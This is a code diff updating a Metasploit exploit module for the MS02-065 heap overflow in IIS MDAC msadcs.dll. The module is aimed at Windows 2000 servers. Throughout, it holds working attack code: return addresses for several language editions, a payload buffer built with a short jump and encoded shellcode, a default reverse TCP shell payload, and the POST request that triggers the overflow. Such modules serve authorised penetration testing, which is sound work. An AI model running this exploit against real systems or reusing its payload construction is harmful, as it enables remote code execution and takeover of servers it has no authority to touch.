@@ -8,89 +8,94 @@ class MetasploitModule < Msf::Exploit::Remote
88
99 include Msf ::Exploit ::Remote ::HttpClient
1010
11- def initialize
11+ def initialize ( info = { } )
1212 super (
13- 'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow' ,
14- 'Description' => %q{
13+ update_info (
14+ info ,
15+ 'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow' ,
16+ 'Description' => %q{
1517 This module can be used to execute arbitrary code on IIS servers
1618 that expose the /msadc/msadcs.dll Microsoft Data Access Components
1719 (MDAC) Remote Data Service (RDS) DataFactory service. The service is
1820 exploitable even when RDS is configured to deny remote connections
1921 (handsafe.reg). The service is vulnerable to a heap overflow where
2022 the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
2123 Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
22- } ,
23- 'Author' => 'aushack' ,
24- 'Platform' => 'win' ,
25- 'References' =>
26- [
24+ } ,
25+ 'Author' => 'aushack' ,
26+ 'Platform' => 'win' ,
27+ 'Arch' => [ ARCH_X86 ] ,
28+ 'References' => [
2729 [ 'OSVDB' , '14502' ] ,
2830 [ 'BID' , '6214' ] ,
2931 [ 'CVE' , '2002-1142' ] ,
3032 [ 'MSB' , 'MS02-065' ] ,
3133 [ 'URL' , 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html' ]
3234 ] ,
33- 'Privileged' => false ,
34- 'Payload' =>
35- {
36- 'Space' => 1024 ,
37- 'BadChars' => "\x00 \x09 \x0a \x0b \x0d \x20 :?<>=$\\ /\" ';=+%#&" ,
38- 'StackAdjustment' => -3500 ,
35+ 'Privileged' => false ,
36+ 'Payload' => {
37+ 'Space' => 1024 ,
38+ 'BadChars' => "\x00 \x09 \x0a \x0b \x0d \x20 \x22 \x27 :?<>=$\\ /;=+%#&" ,
39+ 'StackAdjustment' => -3500
3940 } ,
40- 'DefaultOptions' =>
41- {
42- 'EXITFUNC' => 'seh' , # stops IIS from crashing... hopefully
41+ 'DefaultOptions' => {
42+ 'PAYLOAD' => 'windows/shell/reverse_tcp' ,
43+ 'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully
4344 } ,
44- 'Targets' =>
45- [
46- # aushack tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
47- [ 'Windows 2000 Pro English SP0' , { 'Ret' => 0x75023783 } ] , # jmp eax ws2help.dll
45+ 'Targets' => [
46+ # jmp eax ws2help.dll
47+ [ 'Windows 2000 Pro SP0-SP3 (English)' , { 'Ret' => 0x75023783 } ] ,
48+ [ 'Windows 2000 Pro SP0 (Korean)' , { 'Ret' => 0x74f93783 } ] ,
49+ [ 'Windows 2000 Pro SP0 (Dutch)' , { 'Ret' => 0x74fd3783 } ] ,
50+ [ 'Windows 2000 Pro SP0 (Finnish)' , { 'Ret' => 0x74ff3783 } ] ,
51+ [ 'Windows 2000 Pro SP0 (Turkish)' , { 'Ret' => 0x74fc3783 } ] ,
52+ [ 'Windows 2000 Pro SP0-SP1 (Greek)' , { 'Ret' => 0x74f73783 } ] ,
53+ [ 'Windows 2000 Pro SP1 (Arabic)' , { 'Ret' => 0x74f93783 } ] ,
54+ [ 'Windows 2000 Pro SP1 (Czech)' , { 'Ret' => 0x74fc3783 } ] ,
55+ [ 'Windows 2000 Pro SP2 (French)' , { 'Ret' => 0x74fa3783 } ] ,
56+ [ 'Windows 2000 Pro SP2 (Portuguese)' , { 'Ret' => 0x74fd3783 } ] ,
4857 ] ,
49- 'DefaultTarget' => 0 ,
50- 'DisclosureDate' => 'Nov 20 2002'
58+ 'DefaultTarget' => 0 ,
59+ 'DisclosureDate' => '2002-11-02' ,
60+ 'Notes' => {
61+ 'Reliability' => [ REPEATABLE_SESSION ] ,
62+ 'Stability' => [ CRASH_SERVICE_DOWN ] ,
63+ 'SideEffects' => [ IOC_IN_LOGS ]
64+ }
65+ )
5166 )
5267
5368 register_options (
5469 [
55- OptString . new ( 'PATH' , [ true , "The path to msadcs.dll" , '/msadc/msadcs.dll' ] ) ,
56- ] )
70+ OptString . new ( 'TARGETURI' , [ true , 'The path to msadcs.dll' , '/msadc/msadcs.dll' ] ) ,
71+ ]
72+ )
5773 end
5874
5975 def check
60- res = send_request_raw ( {
61- 'uri' => normalize_uri ( datastore [ 'PATH' ] ) ,
62- 'method' => 'GET' ,
63- } )
64- if ( res and res . code == 200 )
65- print_status ( "Server responded with HTTP #{ res . code } OK" )
66- if ( res . body =~ /Content-Type: application\/ x-varg/ )
67- print_good ( "#{ datastore [ 'PATH' ] } matches fingerprint application\/ x-varg" )
68- Exploit ::CheckCode ::Detected
69- end
70- else
71- Exploit ::CheckCode ::Safe
76+ res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path ) )
77+
78+ return CheckCode ::Unknown ( 'Connection failed' ) unless res
79+ return CheckCode ::Unknown ( 'HTTP server error' ) if res . code == 500
80+ return CheckCode ::Safe ( 'Access Forbidden' ) if res . code == 403
81+
82+ if res . code == 200 && res . body . to_s . include? ( 'Content-Type: application/x-varg' )
83+ return CheckCode ::Detected ( "#{ target_uri . path } content type matches fingerprint application/x-varg" )
7284 end
85+
86+ CheckCode ::Safe
7387 end
7488
7589 def exploit
7690 sploit = rand_text_alphanumeric ( 136 )
77- sploit [ 24 , 2 ] = Rex ::Arch ::X86 . jmp_short ( 117 )
91+ sploit [ 24 , 2 ] = Rex ::Arch ::X86 . jmp_short ( 117 )
7892 sploit << [ target [ 'Ret' ] ] . pack ( 'V' )
7993 sploit << payload . encoded
8094
81- data = 'Content-Type: ' + sploit
82-
83- res = send_request_raw ( {
84- 'uri' => normalize_uri ( datastore [ 'PATH' ] , '/AdvancedDataFactory.Query' ) ,
85- 'headers' =>
86- {
87- 'Content-Length' => data . length ,
88- } ,
89-
90- 'method' => 'POST' ,
91- 'data' => data ,
95+ send_request_cgi ( {
96+ 'uri' => normalize_uri ( target_uri . path , '/AdvancedDataFactory.Query' ) ,
97+ 'method' => 'POST' ,
98+ 'data' => "Content-Type: #{ sploit } "
9299 } )
93-
94- handler
95100 end
96101end
0 commit comments